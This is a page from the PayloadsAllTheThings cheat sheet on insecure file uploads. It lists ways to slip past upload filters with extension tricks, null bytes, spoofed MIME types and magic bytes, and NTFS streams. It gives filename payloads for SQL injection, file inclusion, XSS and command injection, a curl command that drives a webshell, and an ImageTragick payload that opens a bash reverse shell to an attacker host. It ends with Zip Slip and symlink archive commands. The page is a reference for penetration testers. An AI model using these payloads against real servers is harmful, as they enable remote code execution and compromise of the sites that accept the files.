PayloadsAllTheThings/Upload Insecure Files
2021-07-14 17:10:04 +02:00
..
Configuration Apache .htaccess Upload Methodology 2020-09-27 11:16:50 +02:00
Configuration Busybox httpd.conf Fix name's capitalization 2019-03-07 00:07:55 +01:00
Configuration IIS web.config Create web.web.config 2020-04-08 19:14:30 +02:00
Configuration Python __init__.py Fix name's capitalization 2019-03-07 00:07:55 +01:00
CVE Ffmpeg HLS Fix name's capitalization 2019-03-07 00:07:55 +01:00
CVE ZIP Symbolic Link Fix name's capitalization 2019-03-07 00:07:55 +01:00
EICAR Fix name's capitalization 2019-03-07 00:07:55 +01:00
Extension ASP Add .ashx shell 2021-03-30 13:56:31 +01:00
Extension Flash Fix name's capitalization 2019-03-07 00:07:55 +01:00
Extension HTML Fix name's capitalization 2019-03-07 00:07:55 +01:00
Extension PDF JS Fix name's capitalization 2019-03-07 00:07:55 +01:00
Extension PHP PrivEsc - sudoers + Upload PHP 2019-09-02 12:36:40 +02:00
Picture Image Magik DCOM exploitation and MSSQL CLR 2021-03-24 22:26:23 +01:00
Picture Metadata Fix #382 2021-06-23 22:14:55 +02:00
Picture Resize Fix name's capitalization 2019-03-07 00:07:55 +01:00
Server Side Include Fix name's capitalization 2019-03-07 00:07:55 +01:00
Zip Slip Update and rename ReadMe.txt to README.md 2019-10-30 12:07:50 +08:00
README.md File Upload Update 2021-07-14 17:10:04 +02:00

Upload

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Summary

Tools

Exploits

Defaults extensions

  • PHP Server
    .php
    .php3
    .php4
    .php5
    .php7
    
    # Less known PHP extensions
    .pht
    .phps
    .phar
    .phpt
    .pgif
    .phtml
    .phtm
    .inc
    
  • ASP Server : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
  • JSP : .jsp, .jspx, .jsw, .jsv, .jspf
  • Perl: .pl, .pm, .cgi, .lib
  • Coldfusion: .cfm, .cfml, .cfc, .dbm

Upload tricks

  • Use double extensions : .jpg.php
  • Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg
  • Mix uppercase and lowercase : .pHp, .pHP5, .PhAr
  • Null byte (works well against pathinfo())
    • .php%00.gif
    • .php\x00.gif
    • .php%00.png
    • .php\x00.png
    • .php%00.jpg
    • .php\x00.jpg
  • Special characters
    • Multiple dots : file.php...... , in Windows when a file is created with dots at the end those will be removed.
    • Whitespace characters: file.php%20
    • Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.
  • Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif
    • Content-Type : image/gif
    • Content-Type : image/png
    • Content-Type : image/jpeg
    • Set the Content-Type twice: once for unallowed type and once for allowed.
  • Magic Bytes
    • Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
      • PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
      • JPG: \xff\xd8\xff
      • GIF: GIF87a OR GIF8;
    • Shell can also be added in the metadata
  • Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")

Filename vulnerabilities

  • Time-Based SQLi Payloads: e.g. poc.js'(select*from(select(sleep(20)))a)+'.extension
  • LFI Payloads: e.g. image.png../../../../../../../etc/passwd
  • XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension
  • File Traversal e.g. ../../../tmp/lol.png
  • Command Injection e.g. ; sleep 10;

Picture upload with LFI

Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

  • Picture Metadata, hide the payload inside a comment tag in the metadata.
  • Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().

Configuration Files

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

Configuration files examples

  • .htaccess
  • web.config
  • httpd.conf
  • __init__.py

CVE - Image Tragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

More payload in the folder Picture Image Magik

CVE - FFMpeg

FFmpeg HLS vulnerability

ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

  • Zip Slip: directory traversal to write a file somewhere else
    python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
    
    ln -s ../../../index.php symindex.txt
    zip --symlinks test.zip symindex.txt
    

References